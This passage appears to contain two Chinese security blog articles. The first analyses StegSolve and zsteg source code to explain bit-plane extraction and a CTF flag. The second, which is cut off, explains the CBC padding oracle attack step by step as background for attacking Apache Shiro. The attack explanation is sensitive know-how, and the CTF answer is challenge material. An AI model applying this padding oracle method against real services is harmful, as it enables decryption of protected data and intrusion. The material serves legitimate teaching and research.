if(RGBButton.isSelected()) rgbOrder = 1;
else if (RBGButton.isSelected()) rgbOrder = 2;
else if (GRBButton.isSelected()) rgbOrder = 3;
else if (GBRButton.isSelected()) rgbOrder = 4;
else if (BRGButton.isSelected()) rgbOrder = 5;
else rgbOrder = 6;
}
/**
* Generates the extract from the selected options
*/
private void generateExtract()
{
getMask();//获取掩码，每个像素值要获取的对应Bit的掩码，以及每个像素值获取Bit的个数。
getBitOrderOptions();//获取Order settings
int len = bi.getHeight() * bi.getWidth();//获取总的像素点
len = len * maskbits; // 总的像素点*每个像素点获取的Bit数=总的Bit数
len = (len +7)/8; // 总的Bit数转换到总的字节数，+7是没满一个字节的Bit数也对应到一个字节。（极端点比如总的Bit数就1~7Bit,也是要转为1字节，所以需要+7）
extract = new byte[len];//存储读取到的字节数据
extractBitPos = 128; // 每8个Bit组成一个字节数据，extractBitPos相当于权值，从128开始，因此读取的每8Bit，先读到的在高位。
extractBytePos = 0;
//System.out.println(bi.getHeight()+" "+bi.getWidth()+" "+len+" "+mask);
// 根据rowFirst参数来选择读取顺序，调用extractBits读取数据
if(rowFirst)
{
for(int j=0;j<bi.getHeight();j++)
for(int i=0;i<bi.getWidth();i++)
{
//System.out.println(i+" "+j+" "+extractBytePos);
extractBits(bi.getRGB(i, j));
}
}
else
{
for(int i=0;i<bi.getWidth();i++)
for(int j=0;j<bi.getHeight();j++)
extractBits(bi.getRGB(i, j));
}
}
读取数据是`extractBits`，nextByte是读取到的一个像素点的值，如果是lsbFirst（也就是选了Bitorder为LSBFirst，默认是MSBFirst），则是从低位从高位按顺序读取（每个通道选取2Bit以上才会有影响，如果只读取1Bit则无所谓了）。
栗子：读取alpha通道，lsbFirst，extract8Bits(nextByte,1<<24)，掩码是从24位开始，依次左移1位，左移8次；msbFirst，extract8Bits(nextByte,1<<31)，掩码是从31位开始，依次右移，右移8次。
/**
* Extract bits from the given byte taking account of
* the options selected
* @param nextByte the byte to extract bits from
*/
private void extractBits(int nextByte)
{
if(lsbFirst)
{
extract8Bits(nextByte,1<<24);
switch(rgbOrder)
{
case 1: //rgb
extract8Bits(nextByte,1<<16);
extract8Bits(nextByte,1<<8);
extract8Bits(nextByte,1);
break;
case 2: //rbg
extract8Bits(nextByte,1<<16);
extract8Bits(nextByte,1);
extract8Bits(nextByte,1<<8);
break;
case 3: //grb
extract8Bits(nextByte,1<<8);
extract8Bits(nextByte,1<<16);
extract8Bits(nextByte,1);
break;
case 4: //gbr
extract8Bits(nextByte,1<<8);
extract8Bits(nextByte,1);
extract8Bits(nextByte,1<<16);
break;
case 5: //brg
extract8Bits(nextByte,1);
extract8Bits(nextByte,1<<16);
extract8Bits(nextByte,1<<8);
break;
case 6: //bgr
extract8Bits(nextByte,1);
extract8Bits(nextByte,1<<8);
extract8Bits(nextByte,1<<16);
break;
}
}
else
{
extract8Bits(nextByte,1<<31);
switch(rgbOrder)
{
case 1: //rgb
extract8Bits(nextByte,1<<23);
extract8Bits(nextByte,1<<15);
extract8Bits(nextByte,1<<7);
break;
case 2: //rbg
extract8Bits(nextByte,1<<23);
extract8Bits(nextByte,1<<7);
extract8Bits(nextByte,1<<15);
break;
case 3: //grb
extract8Bits(nextByte,1<<15);
extract8Bits(nextByte,1<<23);
extract8Bits(nextByte,1<<7);
break;
case 4: //gbr
extract8Bits(nextByte,1<<15);
extract8Bits(nextByte,1<<7);
extract8Bits(nextByte,1<<23);
break;
case 5: //brg
extract8Bits(nextByte,1<<7);
extract8Bits(nextByte,1<<23);
extract8Bits(nextByte,1<<15);
break;
case 6: //bgr
extract8Bits(nextByte,1<<7);
extract8Bits(nextByte,1<<15);
extract8Bits(nextByte,1<<23);
break;
}
}
}
`extract8Bits`方法，针对每个通道是要单独调用一次的，nextByte是读取的一个像素点的数据，bitMask是对应通道的掩码（根据extractBits方法的说明可知，如果是lsbFirst则是对应通道掩码的最低位，msbFirst则是对应通道掩码的最高位），在extract8Bits方法最后也有根据是lsbFirst的值选择是左移还是右移，循环8次。
bitMask循环，与this.mask与，如果不为0，说明是要读取的bit，此时就将nextByte与bitMask想与，把该bit的值存入extract
/**
* Examine 8 bits and check them against the mask to
* see if any should be extracted
* @param nextByte The byte to be examined
* @param bitMask The bitmask to be applied
*/
private void extract8Bits(int nextByte, int bitMask)
{
for(int i=0;i<8;i++)
{
if((mask&bitMask)!=0)
{
//System.out.println("call "+ mask+" "+bitMask+" "+nextByte);
addBit(nextByte & bitMask);
}
if(lsbFirst)
bitMask<<=1;
else
bitMask>>>=1;
}
}
`addBit`方法,num是读取的像素值与相应bit的掩码相与后的结果，如果不为0，表示那个Bit为1，否则为0，extractBitPos相当于权值，如果为1，就加extractBitPos，然后extractBitPos右移一位，如果为0就不需要加，但每次extractBitPos都是需要右移一位的，如果extractBitPos还是大于1的，说明还没循环过8次，所以就return了，如果不大于1，说明8次了，那么重置extractBitPos为128，extractBytePos+1，新的字节extract[extractBytePos]的初始值为0。
/**
* Adds another bit to the extract
* @param num Non-zero if adding a 1-bit
*/
private void addBit(int num)
{
if(num!=0)
{
extract[extractBytePos]+=extractBitPos;
}
extractBitPos>>=1;
if(extractBitPos>=1)
return;
extractBitPos=128;
extractBytePos++;
if(extractBytePos<extract.length)
extract[extractBytePos]=0;
}
### 不同通道读取图片
**功能简要说明**
首先生成的图片仅是黑白图片，每个像素点的值根据读取的bit位的值，如果为1设置为白色，如果为0设置为黑色。
**代码分析**
打开图片后，程序主界面上的`<`和`>`按钮可以获取不同通道的图片，这里仅讨论Alpha7~0，Red7~0，Green7~0，Blue7~0，也就是每个通道。
在`StegSolve.java`中定位到按钮方法
private void forwardButtonActionPerformed(ActionEvent evt) {
if(bi == null) return;
transform.forward();
updateImage();
}
private void fileOpenActionPerformed(ActionEvent evt) {
JFileChooser fileChooser = new JFileChooser(System.getProperty("user.dir"));
FileNameExtensionFilter filter = new FileNameExtensionFilter("Images", "jpg", "jpeg", "gif", "bmp", "png");
fileChooser.setFileFilter(filter);
int rVal = fileChooser.showOpenDialog(this);
System.setProperty("user.dir", fileChooser.getCurrentDirectory().getAbsolutePath());
if(rVal == JFileChooser.APPROVE_OPTION)
{
sfile = fileChooser.getSelectedFile();
try
{
bi = ImageIO.read(sfile);
transform = new Transform(bi);
newImage();
}
catch (Exception e)
{
JOptionPane.showMessageDialog(this, "Failed to load file: " +e.toString());
}
}
}
主要方法定位到了Transform类，打开文件时初始化，参数是图片的数据。
`Transform.java`
构造函数，originalImage记录原始图片数据，transform是转换后的数据，先初始化为原始图片数据，transNum的值对应不同的操作。
/*
* transforms
* 0 - none
* 1 - inversion
* 2-9 - alpha planes
* 10-17 - r planes
* 18-25 - g planes
* 26-33 - b planes
* 34 full alpha
* 35 full red
* 36 full green
* 37 full blue
* 38 random color1
* 39 random color2
* 40 random color3
* 41 gray bits
*/
Transform(BufferedImage bi)
{
originalImage = bi;
transform = originalImage;
transNum=0;
}
`forward`方法,，每次点击一次按钮，为加一次transNum,然后根据transNum的值去执行对应的操作。transNum值对应的操作除了注释中的说明，也可以从`getText`方法中获取，栗子：Alpha
plane 0对应的transNum值为9
public void forward()
{
transNum++;
if(transNum>MAXTRANS) transNum=0;
calcTrans();
}
public String getText()
{
switch(transNum)
{
case 0:
return "Normal Image";
case 1:
return "Colour Inversion (Xor)";
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
return "Alpha plane " + (9 - transNum);
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
case 17:
return "Red plane " + (17 - transNum);
case 18:
case 19:
case 20:
case 21:
case 22:
case 23:
case 24:
case 25:
return "Green plane " + (25 - transNum);
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
case 32:
case 33:
return "Blue plane " + (33 - transNum);
case 34:
return "Full alpha";
case 35:
return "Full red";
case 36:
return "Full green";
case 37:
return "Full blue";
case 38:
return "Random colour map 1";
case 39:
return "Random colour map 2";
case 40:
return "Random colour map 3";
case 41:
return "Gray bits";
default:
return "";
}
}
`calcTrans`方法，是一个switch方法，根据transNum的值调用方法，而我关心的不同通道获取的图片都是调用`transfrombit`方法，这里仅截取关心的
private void calcTrans()
{
switch(transNum)
{
case 2:
transfrombit(31);
return;
case 3:
transfrombit(30);
return;
case 4:
transfrombit(29);
return;
case 5:
transfrombit(28);
return;
case 6:
transfrombit(27);
return;
case 7:
transfrombit(26);
return;
case 8:
transfrombit(25);
return;
case 9:
transfrombit(24);
return;
case 10:
transfrombit(23);
return;
case 11:
transfrombit(22);
return;
case 12:
transfrombit(21);
return;
case 13:
transfrombit(20);
return;
case 14:
transfrombit(19);
return;
case 15:
transfrombit(18);
return;
case 16:
transfrombit(17);
return;
case 17:
transfrombit(16);
return;
case 18:
transfrombit(15);
return;
case 19:
transfrombit(14);
return;
case 20:
transfrombit(13);
return;
case 21:
transfrombit(12);
return;
case 22:
transfrombit(11);
return;
case 23:
transfrombit(10);
return;
case 24:
transfrombit(9);
return;
case 25:
transfrombit(8);
return;
case 26:
transfrombit(7);
return;
case 27:
transfrombit(6);
return;
case 28:
transfrombit(5);
return;
case 29:
transfrombit(4);
return;
case 30:
transfrombit(3);
return;
case 31:
transfrombit(2);
return;
case 32:
transfrombit(1);
return;
case 33:
transfrombit(0);
return;
default:
transform = originalImage;
return;
}
}
`transfrombit`方法，参数d基本就是读取第dbit的数据，根据之前的说明 Alpha
7是getRGB的数据的最高位，第31bit，根据getText方法可以知道Aplpha
7对应的transNum值为2，再看calcTrans的case2就是调用transfrombit(31)。
private void transfrombit(int d)
{
transform = new BufferedImage(originalImage.getWidth(), originalImage.getHeight(), BufferedImage.TYPE_INT_RGB);
for(int i=0;i<originalImage.getWidth();i++)
for(int j=0;j<originalImage.getHeight();j++)
{
int col=0;
int fcol = originalImage.getRGB(i,j);
if(((fcol>>>d)&1)>0)//右移d个bit位，再取最低位，如果大于0表示对应Bit位为1，那么就设置对应像素值为0xffffff，也就是（255,255,255），对应白色，如果Bit位为0，则是设置为（0,0,0），对应为黑色
col=0xffffff;
transform.setRGB(i, j, col);
}
}
## zsteg
跟进一下代码执行流程，了解各个参数的意义。
## 入口
程序执行流程的文件
/bin/zsteg
/lib/zsteg.rb run方法
/lib/zsteg/cli/cli.rb
run方法，这里会对参数解析，这里截取一些之后需要用到的参数，完整的自行看源码吧，解析完参数后，主要是最后的动态方法调用，[@actions](https://github.com/actions
"@actions")=[‘check’]，因此动态调用check方法
def run
@actions = []
@options = {
:verbose => 0,
:limit => Checker::DEFAULT_LIMIT,
:order => Checker::DEFAULT_ORDER
}
optparser = OptionParser.new do |opts|
opts.banner = "Usage: zsteg [options] filename.png [param_string]"
opts.separator ""
opts.on("-c", "--channels X", /[rgba,1-8]+/,
"channels (R/G/B/A) or any combination, comma separated",
"valid values: r,g,b,a,rg,bgr,rgba,r3g2b3,..."
) do |x|
@options[:channels] = x.split(',')
# specifying channels on command line disables extra checks
@options[:extra_checks] = false
end
opts.on("-b", "--bits N", "number of bits, single int value or '1,3,5' or range '1-8'",
"advanced: specify individual bits like '00001110' or '0x88'"
) do |x|
a = []
x = '1-8' if x == 'all'
x.split(',').each do |x1|
if x1['-']
t = x1.split('-')
a << Range.new(parse_bits(t[0]), parse_bits(t[1])).to_a
else
a << parse_bits(x1)
end
end
@options[:bits] = a.flatten.uniq
# specifying bits on command line disables extra checks
@options[:extra_checks] = false
end
opts.on "--lsb", "least significant BIT comes first" do
@options[:bit_order] = :lsb
end
opts.on "--msb", "most significant BIT comes first" do
@options[:bit_order] = :msb
end
opts.on("-o", "--order X", /all|auto|[bxy,]+/i,
"pixel iteration order (default: '#{@options[:order]}')",
"valid values: ALL,xy,yx,XY,YX,xY,Xy,bY,...",
){ |x| @options[:order] = x.split(',') }
if (argv = optparser.parse(@argv)).empty?
puts optparser.help
return
end
@actions = DEFAULT_ACTIONS if @actions.empty?
argv.each do |arg|
if arg[','] && !File.exist?(arg)
@options.merge!(decode_param_string(arg))
argv.delete arg
end
end
argv.each_with_index do |fname,idx|
if argv.size > 1 && @options[:verbose] >= 0
puts if idx > 0
puts "[.] #{fname}".green
end
next unless @img=load_image(@fname=fname)
@actions.each do |action|
if action.is_a?(Array)
self.send(*action) if self.respond_to?(action.first)
else
self.send(action) if self.respond_to?(action)
end
end
end
rescue Errno::EPIPE
# output interrupt, f.ex. when piping output to a 'head' command
# prevents a 'Broken pipe - <STDOUT> (Errno::EPIPE)' message
end
/lib/zsteg/cli/cli.rb check方法
def check Checker.new(@img, @options).check end
/lib/zsteg/checker.rb
initialize方法，初始化一些成员变量，[@extractor](https://github.com/extractor
"@extractor")也是传入了图像数据的，通道判断了图片属性是否有alpha通道。
def initialize image, params = {}
[@params](https://github.com/params "@params") = params
[@cache](https://github.com/cache "@cache") = {}; [@wastitles](https://github.com/wastitles "@wastitles") = Set.new
[@image](https://github.com/image "@image") = image.is_a?(ZPNG::Image) ? image : ZPNG::Image.load(image)
[@extractor](https://github.com/extractor "@extractor") = Extractor.new([@image](https://github.com/image "@image"), params)
[@channels](https://github.com/channels "@channels") = params[:channels] ||
if [@image](https://github.com/image "@image").alpha_used?
%w'r g b a rgb bgr rgba abgr'
else
%w'r g b rgb bgr'
end
[@verbose](https://github.com/verbose "@verbose") = params[:verbose] || -2
[@file_cmd](https://github.com/file_cmd "@file_cmd") = FileCmd.new
[@results](https://github.com/results "@results") = []
[@params](https://github.com/params "@params")[:bits] ||= DEFAULT_BITS
[@params](https://github.com/params "@params")[:order] ||= DEFAULT_ORDER
[@params](https://github.com/params "@params")[:limit] ||= DEFAULT_LIMIT
if [@params](https://github.com/params "@params")[:min_str_len]
[@min_str_len](https://github.com/min_str_len "@min_str_len") = [@min_wholetext_len](https://github.com/min_wholetext_len "@min_wholetext_len") = [@params](https://github.com/params "@params")[:min_str_len]
else
[@min_str_len](https://github.com/min_str_len "@min_str_len") = DEFAULT_MIN_STR_LEN
[@min_wholetext_len](https://github.com/min_wholetext_len "@min_wholetext_len") = [@min_str_len](https://github.com/min_str_len "@min_str_len") - 2
end
[@strings_re](https://github.com/strings_re "@strings_re") = /[x20-x7ernt]{#[@min_str_len](https://github.com/min_str_len "@min_str_len"),}/
[@extra_checks](https://github.com/extra_checks "@extra_checks") = params.fetch(:extra_checks, DEFAULT_EXTRA_CHECKS)
end
/lib/zsteg/checker.rb check方法,截取部分，会判断图片是否是bmp的，只有bmp的-o选项内才有b，如果设置为all也只是多了bY的选项，但是通过之后代码分析是可以by yb
Yb的。判断order中是否有b用的是正则，因此大小写一样。接着数据读取就到check_channels方法了。
def check
[@found_anything](https://github.com/found_anything "@found_anything") = false
[@file_cmd](https://github.com/file_cmd "@file_cmd").start!
if [@image](https://github.com/image "@image").format == :bmp
case params[:order].to_s.downcase
when /all/
params[:order] = %w'bY xY xy yx XY YX Xy yX Yx'
when /auto/
params[:order] = %w'bY xY'
end
else
case params[:order].to_s.downcase
when /all/
params[:order] = %w'xy yx XY YX Xy yX xY Yx'
when /auto/
params[:order] = 'xy'
end
end
Array(params[:order]).uniq.each do |order|
(params[:prime] == :all ? [false,true] : [params[:prime]]).each do |prime|
Array(params[:bits]).uniq.each do |bits|
p1 = [@params](https://github.com/params "@params").merge :bits => bits, :order => order, :prime => prime
if order[/b/i]
# byte iterator does not need channels
check_channels nil, p1
else
channels.each{ |c| check_channels c, p1 }
end
end
end
end
if [@found_anything](https://github.com/found_anything "@found_anything")
print "r" + " "*20 + "r" if [@need_cr](https://github.com/need_cr "@need_cr")
else
puts "r[=] nothing :(" + " "*20 # line cleanup
end
if [@extra_checks](https://github.com/extra_checks "@extra_checks")
Analyzer.new([@image](https://github.com/image "@image")).analyze!
end
# return everything found if this method was called from some code
[@results](https://github.com/results "@results")
ensure
[@file_cmd](https://github.com/file_cmd "@file_cmd").stop!
end
/lib/zsteg/checker.rb
check_channels方法，首先判断是否设置了bit_order，没设置则两个都测试，之后就是区分两种模式了，channels有值的，最后是去的color_extractor.rb，没有值的去的byte_extractor.rb。
color_extractor模式，还要判断channels指定的模式，是就rgb还是会单独指定每个通道读取多少Bit的。确定过每个像素读取多少bit，然后乘以总的像素点除以8确认读取字节数。
byte)extractor模式，nbits是-b参数指定的读取bit数，乘以一行的字节数，再乘以高/8。
`show_title title`输出当前模式
`data = [@extractor](https://github.com/extractor "@extractor").extract
p1`读取数据
def check_channels channels, params
unless params[:bit_order]
check_channels(channels, params.merge(:bit_order => :lsb))
check_channels(channels, params.merge(:bit_order => :msb))
return
end
p1 = params.clone
# number of bits
# equals to params[:bits] if in range 1..8
# otherwise equals to number of 1's, like 0b1000_0001
nbits = p1[:bits] <= 8 ? p1[:bits] : (p1[:bits]&0xff).to_s(2).count("1")
show_bits = true
# channels is a String
if channels
p1[:channels] =
if channels[1] && channels[1] =~ /AdZ/
# 'r3g2b3'
a=[]
cbits = 0
(channels.size/2).times do |i|
a << (t=channels[i*2,2])
cbits += t[1].to_i
end
show_bits = false
@max_hidden_size = cbits * @image.width
a
else
# 'rgb'
a = channels.chars.to_a
@max_hidden_size = a.size * @image.width * nbits
a
end
# p1[:channels] is an Array
elsif params[:order] =~ /b/i
# byte extractor
@max_hidden_size = @image.scanlines[0].decoded_bytes.size * nbits
else
raise "invalid params #{params.inspect}"
end
@max_hidden_size *= @image.height/8
bits_tag =
if show_bits
if params[:bits] > 0x100
if params[:bits].to_s(2) =~ /(1{1,8})$/
# mask => number of bits
"b#{$1.size}"
else
# mask
"b#{(params[:bits]&0xff).to_s(2)}"
end
else
# number of bits
"b#{params[:bits]}"
end
end
title = [
bits_tag,
channels,
params[:bit_order],
params[:order],
params[:prime] ? 'prime' : nil
].compact.join(',')
return if @wastitles.include?(title)
@wastitles << title
show_title title
p1[:title] = title
data = @extractor.extract p1
if p1[:invert]
data.size.times{ |i| data.setbyte(i, data.getbyte(i)^0xff) }
end
@need_cr = !process_result(data, p1) # carriage return needed?
@found_anything ||= !@need_cr
end
/lib/zsteg/extractor.rb 根据-o选项中是否包含b选择不同模式
def extract params = {}
[@limit](https://github.com/limit "@limit") = params[:limit].to_i
[@limit](https://github.com/limit "@limit") = 2**32 if [@limit](https://github.com/limit "@limit") <= 0
if params[:order] =~ /b/i
byte_extract params
else
color_extract params
end
end
在分类说明两个模式的时候，先将一个方法拿出来做个说明，bit_indexes
**bit_indexes**
通过代码可以知道，在扫描一个字节的时候，zsteg是固定的从高位扫描至低位的
def bit_indexes bits
if (1..8).include?(bits)
# number of bits
# 1 => [0]
# ...
# 8 => [7,6,5,4,3,2,1,0]
bits.times.to_a.reverse
else
# mask
mask = bits & 0xff
r = []
8.times do |i|
r << i if mask[i] == 1
end
r.reverse
end
end
### byte_extract
/lib/zsteg/extractor/byte_extractor.rb data列表是用于存储字节数据，a是用于存储bit数据。
通过`byte_iterator`方法遍历每个字节，会根据order参数是否有小写b，决定x方向的正序还是倒序，是否有小写y决定y方向的正序还是倒序。
根据x,y的值读取到对应字节，然后根据`bit_indexes`获取的bidx（注定只能高位至低位）去读取对应Bit值
当a.size为8时，就会组成一个字节，根据`bit_order`的值决定a中的8bit数据是大端还是小端
msb是小端，lsb是大端。
module ZSteg
class Extractor
# ByteExtractor extracts bits from each scanline bytes
# actual for BMP+wbStego combination
module ByteExtractor
def byte_extract params = {}
bidxs = bit_indexes params[:bits]
if params[:prime]
pregenerate_primes(
:max => [@image](https://github.com/image "@image").scanlines[0].size * [@image](https://github.com/image "@image").height,
:count => ([@limit](https://github.com/limit "@limit")*8.0/bidxs.size).ceil
)
end
data = ''.force_encoding('binary')
a = [0]*params[:shift].to_i # prepend :shift zero bits
byte_iterator(params) do |x,y|
sl = [@image](https://github.com/image "@image").scanlines[y]
value = sl.decoded_bytes.getbyte(x)
bidxs.each do |bidx|
a << value[bidx]
end
if a.size >= 8
byte = 0
if params[:bit_order] == :msb
8.times{ |i| byte |= (a.shift<<i)}
else
8.times{ |i| byte |= (a.shift<<(7-i))}
end
#printf "[d] %02x %08bn", byte, byte
data << byte.chr
if data.size >= [@limit](https://github.com/limit "@limit")
print "[limit #[@limit](https://github.com/limit "@limit")]".gray if [@verbose](https://github.com/verbose "@verbose") > 1
break
end
end
end
if params[:strip_tail_zeroes] != false && data[-1,1] == "x00"
oldsz = data.size
data.sub!(/x00+Z/,'')
print "[zerotail #{oldsz-data.size}]".gray if [@verbose](https://github.com/verbose "@verbose") > 1
end
data
end
# 'xy': b=0,y=0; b=1,y=0; b=2,y=0; ...
# 'yx': b=0,y=0; b=0,y=1; b=0,y=2; ...
# ...
# 'xY': b=0, y=MAX; b=1, y=MAX; b=2, y=MAX; ...
# 'XY': b=MAX,y=MAX; b=MAX-1,y=MAX; b=MAX-2,y=MAX; ...
def byte_iterator params
type = params[:order]
if type.nil? || type == 'auto'
type = [@image](https://github.com/image "@image").format == :bmp ? 'bY' : 'by'
end
raise "invalid iterator type #{type}" unless type =~ /A(by|yb)Z/i
sl0 = [@image](https://github.com/image "@image").scanlines.first
# XXX don't try to run it on interlaced PNGs!
x0,x1,xstep =
if type.index('b')
[0, sl0.decoded_bytes.size-1, 1]
else
[sl0.decoded_bytes.size-1, 0, -1]
end
y0,y1,ystep =
if type.index('y')
[0, [@image](https://github.com/image "@image").height-1, 1]
else
[[@image](https://github.com/image "@image").height-1, 0, -1]
end
# cannot join these lines from ByteExtractor and ColorExtractor into
# one method for performance reason:
# it will require additional yield() for EACH BYTE iterated
if type[0,1].downcase == 'b'
# ROW iterator
if params[:prime]
idx = 0
y0.step(y1,ystep){ |y| x0.step(x1,xstep){ |x|
yield(x,y) if [@primes](https://github.com/primes "@primes").include?(idx)
idx += 1
}}
else
y0.step(y1,ystep){ |y| x0.step(x1,xstep){ |x| yield(x,y) }}
end
else
# COLUMN iterator
if params[:prime]
idx = 0
x0.step(x1,xstep){ |x| y0.step(y1,ystep){ |y|
yield(x,y) if [@primes](https://github.com/primes "@primes").include?(idx)
idx += 1
}}
else
x0.step(x1,xstep){ |x| y0.step(y1,ystep){ |y| yield(x,y) }}
end
end
end
end
end
end
### color_extractor
/lib/zsteg/extractor/color_extractor.rb data列表是用于存储字节数据，a是用于存储bit数据。
通过`coord_iterator`方法遍历每个字节，会根据order参数是否有小写x，决定x方向的正序还是倒序，是否有小写y决定y方向的正序还是倒序。
根据x,y的值读取到对应字节，然后根据`bit_indexes`获取的ch_masks（注定只能高位至低位）去读取对应Bit值，只是还要根据channel的值，如果是单个字符，表示读取的bit数是通过-b设置的，因此传入`params[:bits]`，否则就是2个字符，读取第2个字符表示读取的bit数。
当a.size为8时，就会组成一个字节，根据`bit_order`的值决定a中的8bit数据是大端还是小端 msb是小端，lsb是大端。
module ZSteg
class Extractor
# ColorExtractor extracts bits from each pixel's color
module ColorExtractor
def color_extract params = {}
channels = Array(params[:channels])
#pixel_align = params[:pixel_align]
ch_masks = []
case channels.first.size
when 1
# ['r', 'g', 'b']
channels.each{ |c| ch_masks << [c[0], bit_indexes(params[:bits])] }
when 2
# ['r3', 'g2', 'b3']
channels.each{ |c| ch_masks << [c[0], bit_indexes(c[1].to_i)] }
else
raise "invalid channels: #{channels.inspect}" if channels.size != 1
t = channels.first
if t =~ /A[rgba]+Z/
return color_extract(params.merge(:channels => t.split('')))
end
raise "invalid channels: #{channels.inspect}"
end
# total number of bits = sum of all channels bits
nbits = ch_masks.map{ |x| x[1].size }.inject(&:+)
if params[:prime]
pregenerate_primes(
:max => @image.width * @image.height,
:count => (@limit*8.0/nbits/channels.size).ceil
)
end
data = ''.force_encoding('binary')
a = [0]*params[:shift].to_i # prepend :shift zero bits
catch :limit do
coord_iterator(params) do |x,y|
color = @image[x,y]
ch_masks.each do |c,bidxs|
value = color.send(c)
bidxs.each do |bidx|
a << value[bidx]
end
end
#p [x,y,a.size,a]
while a.size >= 8
byte = 0
#puts a.join
if params[:bit_order] == :msb
8.times{ |i| byte |= (a.shift<<i)}
else
8.times{ |i| byte |= (a.shift<<(7-i))}
end
#printf "[d] %02x %08bn", byte, byte
data << byte.chr
if data.size >= @limit
print "[limit #@limit]".gray if @verbose > 1
throw :limit
end
#a.clear if pixel_align
end
end
end
if params[:strip_tail_zeroes] != false && data[-1,1] == "x00"
oldsz = data.size
data.sub!(/x00+Z/,'')
print "[zerotail #{oldsz-data.size}]".gray if @verbose > 1
end
data
end
# 'xy': x=0,y=0; x=1,y=0; x=2,y=0; ...
# 'yx': x=0,y=0; x=0,y=1; x=0,y=2; ...
# ...
# 'xY': x=0, y=MAX; x=1, y=MAX; x=2, y=MAX; ...
# 'XY': x=MAX,y=MAX; x=MAX-1,y=MAX; x=MAX-2,y=MAX; ...
def coord_iterator params
type = params[:order]
if type.nil? || type == 'auto'
type = @image.format == :bmp ? 'xY' : 'xy'
end
raise "invalid iterator type #{type}" unless type =~ /A(xy|yx)Z/i
x0,x1,xstep =
if type.index('x')
[0, @image.width-1, 1]
else
[@image.width-1, 0, -1]
end
y0,y1,ystep =
if type.index('y')
[0, @image.height-1, 1]
else
[@image.height-1, 0, -1]
end
# cannot join these lines from ByteExtractor and ColorExtractor into
# one method for performance reason:
# it will require additional yield() for EACH BYTE iterated
if type[0,1].downcase == 'x'
# ROW iterator
if params[:prime]
idx = 0
y0.step(y1,ystep){ |y| x0.step(x1,xstep){ |x|
yield(x,y) if @primes.include?(idx)
idx += 1
}}
else
y0.step(y1,ystep){ |y| x0.step(x1,xstep){ |x| yield(x,y) }}
end
else
# COLUMN iterator
if params[:prime]
idx = 0
x0.step(x1,xstep){ |x| y0.step(y1,ystep){ |y|
yield(x,y) if @primes.include?(idx)
idx += 1
}}
else
x0.step(x1,xstep){ |x| y0.step(y1,ystep){ |y| yield(x,y) }}
end
end
end
end
end
end
## 结果
起因里的zsteg的参数现在都解释过了，而用stegsolve没有看到flag是因为8bit数据是按照大端模式组成的字节，而flag是需要以小端模式组成，所以当我选择stegsolve来做题时，注定是拿不到flag了，都是时辰的错。
然后bY其实和xY的结果是一样的，只是要确定通道的排列方式，bmp按顺序存的通道顺序是bgr。
root@LAPTOP-GE0FGULA:/mnt/d# zsteg -c bgr -o xY --msb -b1 瞅啥.bmp
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
b1,bgr,msb,xY .. text: "qwxf{you_say_chick_beautiful?}"
再来看下stegsolve，首先知道-o是Y，因此图片需要倒一下，所以手动修改bmp的高度为原值的负值，图片就倒过来了。
选中的序列和flag的值，生成二进制序列对比一下，应是每8个bit都是倒序的。
#encoding:utf-8
from binascii import b2a_hex,a2b_hex
flag = "qwxf{you_say_chick_beautiful?}"
stegsolve = "8eee1e66de9ef6aeface869efac61696c6d6fa46a686ae2e9666ae36fcbe"
flag = bin(int(b2a_hex(flag),16))[2:]
stegsolve = bin(int(stegsolve,16))[2:]
def show(a,b):
if len(a) % 2 != 0:
a = '0'+a
if len(b) % 2 != 0:
b = '0'+b
for i in xrange(0,len(a),8):
print a[i:i+8]+" "+b[i:i+8]
show(flag,stegsolve)
自己看下结果吧。 | 社区文章 |
# Shiro Padding Oracle Attack 反序列化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 基础
参考[ctfwiki中对CBC模式的介绍](https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/cbc-zh/)，先看一下CBC模式下的加解密模式图：
简单概括一下，加密过程初始化向量IV和第一组明文进行异或，然后经过加密算法得到第一组密文，并拿它作为下一分组加密的IV向量，迭代下去。解密过程反之，先解密再和IV向量异或得到明文plaintext。这里的IV参数是一个随机值(长度和分组长度等长)，为了保证多次加密相同数据生成的密文不同而设计的。
为了方便后文描述，将IV和Planttext异或后的值称为中间intermediary Value。
**分组的填充padding**
分组的长度，不同加密算法的长度如下图所示：
分组密码(block
cipher)需要保证总长度是分组长度的整数倍，但一般在最后一组会出现长度不够分组长度的情况，这时候就需要使用padding填充，填充的规则是在最后填充一个固定的值，值的大小为填充的字节总数，即需最后还差2个字节，则填充两个0x02。下边8个字节的填充范围为`0x01-0x08`。
> 这种Padding原则遵循的是常见的PKCS#5标准。<http://www.di-mgt.com.au/cryptopad.html#PKCS5>
### Padding Oracle Attack
#### 利用条件
1. 攻击者知道密文和初始向量IV
2. padding错误和padding正确服务器可返回不一样的状态
**攻击效果**
正常CBC解密需要知道IV、Key、密文，而通过Padding Oracle漏洞，只用知道IV、密文即可获得明文。
#### demo
以这样一个程序为例：
http://sampleapp/home.jsp?UID=0000000000000000EFC2807233F9D7C097116BB33E813C5E
前16个字母(8字节)`0000000000000000`为IV，后32字母(16字节)为密文：
**padding 0x01**
通常程序校验padding是否正确是通过检查末尾的那个字节的值，我们可以通过修改IV的值使得其与中间量intermediary
Value异或得到的结果(plaintext)最后一个字节(填充位)为0x01。
实现这样一个穷举的过程，需要改变IV的最后一个字节(最多255次)，且需要服务端将判断padding校验的结果返回给客户端(类似于布尔注入的逻辑)。比如在web应用中，padding正确(解密的内容不正确)返回200，padding错误(解密内容错误)返回500。
至此通过上述步骤，我们可以通过`IV`(fuzz出的IV)和`0x01`异或得到intermediary Value中间值。
在 _单个分组_ 的情况下，其实我们拿着intermediary Value和 _初始向量IV_ 异或，即可拿到最后明文的最后一个字节：
**padding 0x02**
此时，通过修改IV第八个字节的值使得最后一个padding位变成0x02(上图中0x67^0x02=0×64)，再fuzz
IV第七个字节，使得服务端解出plaintext其填充位为0x02，以此类推。
总的来说，其实攻击的本质都是为了得到中间临时变量intermediary value，通过其和初始IV计算出明文。
**多分组密文情况**
上面说到的Padding Oracle
Attack是以单个分组进行的，如果密文有多个分组，其最大的区别在于这一分组加密的初始IV向量为上次组加密的结果Ciphertext。
在多分组密文中，由于密文和IV已知且可控，先拿第一组padding的方式爆破IV推算intermediary
